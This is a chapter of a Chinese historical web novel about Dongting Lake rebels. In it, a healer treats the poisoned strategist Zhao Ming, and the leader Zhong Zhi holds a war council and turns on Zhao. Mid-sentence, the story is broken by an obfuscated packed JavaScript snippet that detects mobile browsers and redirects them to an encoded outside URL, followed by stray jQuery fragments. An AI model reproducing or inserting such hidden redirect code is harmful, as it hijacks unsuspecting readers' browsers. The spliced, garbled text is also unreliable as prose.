赵明所中的毒,名为“洞庭春晓”,取四味洞庭湖畔春季特产制成,分别是湖底银螺、湘莲春芯、银鱼骨粉、君山早茶,这四样物什,单用都无大碍,但经过一系列复杂的步骤炮制的药粉,长期饮用却会慢性中毒。
且此毒隐蔽性极强,初期服用精神焕发,还以为是什么上佳补品,中期使人绵软无力,畏寒畏冷,形如废人,掌心浮现青紫纹路,到了后期更是会咳出腥臭黑血,丹田枯竭,七七四九天后经脉尽断而亡。
赵明的症状显然已到了晚期,事实上,其人能独自站立,行动如常,便该赞一声毅力惊人。
“你这笨蛋,怎么被人下毒了都不知道?”杨么又气又恼。
“小生初冬害了一场风寒,王节度命人送来了补药,此后亦照顾有加……小生还以为是好心。”赵明苦笑道。
王节度指的是王延州,因军功显赫,封三镇节度使,此次镇压洞庭湖起义军又加封沿江招讨使。
年轻大夫露出了若有所思的表情,须知“洞庭春晓”正因为隐蔽性强,炮制程序复杂,价格昂贵,多用于深院大户闺门宅斗。
但王延州堂堂三镇节度使,想要报复一个小小的准备将,实在是太简单了,何必用这么弯弯绕绕的法子。
年轻大夫正想着,对上了眨巴着眼睛满脸期待的杨么:“老十一,你医术高明,肯定有法子治吧?”
年轻的大夫名为桓夜霜,也是钟执收养的义子,排名十一,因两人年纪相近,杨么从未喊过哥,总是没大没小地喊他“老十一”。
“有倒是有。”桓夜霜蹙眉抬眸:“但是解药极难凑齐,希望渺茫。”
要解“洞庭春晓”之毒,亦需凑齐四样洞庭特产,分别是千年湘莲王、血蒺藜金果、云梦鹤顶红和龙阳腐心草。
其中,千年湘莲王长在洞庭湖底淤泥深处,是百年一现的并蒂莲,莲心赤红如血,花开仅一瞬,错过莲心会自动脱落,没水消散。
血蒺藜金果,生长于君山悬崖阴面,果实金黄如珠,君山百余米高,不算陡峭,但周围往往盘踞“铁线赤蛇”,其毒见血封喉。
云梦鹤顶红,指的是洞庭湿地百年白鹤,头顶朱羽,经鹤群衔灵草滋养,方呈赤色。白鹤群不会主动攻击人,但警觉极高,飞掠如电,难以近身。
最后一味龙阳腐心草,因着龙阳距离武陵不远,杨么倒是听过腐心草。传说龙阳有个村子,十年前曾起过麻风病,村里的人全都害病死了,暴尸野外,无人敛尸。久而久之,尸体化成的黑水滋养了大片腐心草,在夜晚泛着妖异的幽光,极为不祥,过路的人还以为是鬼火,吓得半死,久而久之,竟有了几分名气。
总而言之,没有一味药材能轻易得手。
“生死由命,莫为赵某耽误将军大业!”杨么听了还没感动两秒,赵明又剧烈咳嗽了起来,身子一歪,软软倚向杨么,似是全靠着对方支撑,才能勉力站稳。
一旁冷眼旁观的五姐翻个白眼,这病秧子倒比城里的花魁还会悻悻作态。
另一个白眼快翻上天的桓夜霜,则是捻起一枚针,冷笑道:“身体如此虚弱,且让我来为赵兄针灸排毒,否则别说七七四十九天了,怕是连七天都撑不到。”
修长纤细的手指间夹着一根七寸长针,在摇曳的烛光中泛着寒光,让人倒吸一口凉气。
“老十一,这大晚上的,你眼神行不行啊?”饶是无法无天的杨么,也在长针面前露怯了。
“医者仁心,赵某先谢过桓大夫了。”赵明举手作揖应下,倒是丝毫不怯。
那厢桓夜霜的手法,疾如闪电快如风,随着数根银针把赵明的脑袋扎成个刺猬,虚弱的男人又吐出一滩黑血。
“小明,你还好吗?”杨么面露忧虑之色,刚到手的军师还热乎着呢,别就这么挂了。
总是含笑晏晏的双眸蒙上了一层朦胧的雾气,赵明没有言语,只是攥紧了杨么的手,转头又哇哇地吐血,污血逐渐变成正常的鲜红色。
看着弱柳扶风的病秧子和心疼不已的幺妹,再看看沉默不语,只是加重手上力道的桓夜霜,五姐心叹,我老实巴交的十一弟啊,你怕是争不过这个诡计多端的野男人。
正治疗,药庐突然撞进一名不速之客,此人面如敷白,肥头大耳,十指戴满猫眼石戒,一副富贵财主模样,身后二三个小厮如抱米袋般举着一喽啰,身中数箭,血流如注。
“小十一,快救救老艾,他快不行了……”
来人瞥见杨么后,话音戛然而止,少女皱眉抱臂:“大总管,接着说呀,老艾潜伏在江陵,怎地突然身负重伤的回来了?”
本朝行政区划分为三级,路-州-县,斋堂藏在荆湖北路-朗州-武陵县下辖的村落,极为隐蔽,江陵则为荆湖北路的首府,两地相隔甚远。
杨么唤作“大总管”的富贵财主,大名贾富贵,在钟执收养的义子女中排行第八,为人精于计算,素有“鹌鹑嗉里寻豌豆,鹭鸶腿上劈精肉,蚊子腹内刳脂油①”之能,钟执也是知人善用,令此人统筹和调配起义军的粮草。
同时,“大圣爷爷”素日安插在各处打探消息的教众,也由其负责接应,因此其人虽不掌兵,却可称得上钟执的左膀右臂,起义军内谁见了不得敬他三分?
除了杨么。
贾富贵赔笑着打哈哈,希望把杨么糊弄过去,这姑奶奶却开始吹胡子瞪眼,威胁道:“不说是吧,不说你就等着排队吧,老十一,把你的针灸给小明都上一遍,咱们今晚慢!慢!磨!”
贾富贵转向桓夜霜,年轻的大夫慢条斯理,一语却切中要害:“八哥但说无妨,义父已许了幺妹参与军政之职,明日也是要上议事厅共商大事。”
杨么得意地叉起了腰,贾富贵肥肉乱颤,最后还是在老艾的呻吟中,边擦汗边讲:“好妹妹,王延州领着十万官兵突然撤出江陵,荆湖北路经略使林鼎命江陵全城戒严,任何人不得进出,老艾趁夜逃出来的时候中了流矢……”
赵明瞳孔骤缩,又吐出一滩鲜血,打断了杨么的沉思:“小明,你又怎么了?”
外间战鼓骤响,钟执亲卫来药庐找“大总管”贾富贵,见满屋子都是要寻的人,惊喜道:“天王急召众头领,请诸位随我去议事厅!”目光扫到赵明身上,又补充道:“这位便是新来的赵兄弟吧?天王特地嘱咐我,一定要将你也寻来。”
杨么听得满头雾水,断龙崖一役之前,只要是正面对战,朝廷十万大军无往不利,即使损失五千重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203852|165171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骑,也并未伤筋动骨,王延州为何突然撤退?义父又为何急着连夜商讨军情?
赵明小声解释:“将军可曾听过‘翻江龙’周啸川、‘芦中剑’徐雁归和‘赤天圣母’程娘子的名号?”
杨么被一语点醒,这三人皆非无名之辈,乃是钟执之下,洞庭湖地区最出名的三支起义军将领,从者逾万,连同本家一起,四大起义军的兵力都远胜地方团练,这也是荆湖北路经略使林鼎下令关闭江陵城的原因。
权力厌恶真空,真空诞生新的权力。
从这一刻开始,他们的对手不再是官兵,而是其他起义军,谁能攻城掠寨更多的地盘,谁就能在洞庭湖称王。
深夜,三十六盏火盆,将议事厅照得亮如白昼,各大小首领或多或少听说了些消息,议论纷纷,神情各异,在摇曳的烛光下,恰似斋堂外殿的怒目金刚。
随着布衣老者的步入,骚动平息了下来,众人屏息聚神,等待着他开口。
“弟兄们且看!”随着钟执的示意,李子昂手持丈八蛇矛挑开《九州舆图》,矛尖自武陵一路划向汴京,“王贼小儿吓得缩了卵子,十万大军退得比丧家犬还快!这泼天富贵送到门前——”
“锵”地一声,李子昂的蛇矛贯入青砖三寸:“天予不取,反受其咎!怕死的滚回去打渔种地!要建功立业的,下面的话给我听好了。”
满堂粗喘如牛,却无一人敢发声,钟执的野心昭然若宣,其所图谋的非一县一域,而是整个天下。
这样的野心,怎不令人豪情万丈?王侯将相宁有种乎?
“无规矩不方圆,老夫今日立三个规矩:一是先破一城者,无论出身,便可如黄首领般,自领一军称统制;”钟执刻意顿住,将腰间五枚虎符掷在香案上。
除已经给了黄佑的“清净气”,还有“妙风”、“明力”、“妙水”、“妙火”四枚令牌,而最后也是最大一枚的鎏金火焰纹牌,更是吸引了在场所有人的目光:“取江陵者,便是五军大都督!”
有黄佑的例子在前,众人对钟执的话深信不疑。阶下顿时炸开锅,更有猴急的抄起宣花斧就要往外冲,被贾富贵肥硕身躯堵住:“莽汉急甚?待大圣爷爷的话说完。”
“第二条则是吾等侍奉摩尼尊者,自当修三印,守十戒,若有违者”钟执将《九州舆图》扔进火盆:“当永生永世受烈焰焚烧之苦。”
三印指口印、手印和心印,十戒则是与三印相对应的戒律,即不拜偶像,不妄语,不贪欲,不杀生,不奸(淫),不偷盗,不欺诈,不行巫术,不二见,不怠惰②。
这可不仅仅是对来世的诅咒,钟执是真的曾把当众诋毁教义的信徒,绑在火堆上烧死了。
当然,为了起义军征战杀敌不叫“杀生”,那叫“遵从摩尼尊者旨意,驱逐黑暗,教化众生,令脱诸苦。”
清瘦的老人扫视议事厅一圈,目光落到了赵明身上,他声若洪钟,在偌大的议事厅内回荡:
“最后一条,攘外必先安内,钟某平生最恨鱼肉百姓的官兵和挑拨离间的叛徒,今日便要以此人的血祭棋,以儆效尤。”
随着钟执的话音落下,杨么惊恐地发现,大哥马元良和三哥巴鸣面无表情地将赵明架到了台上。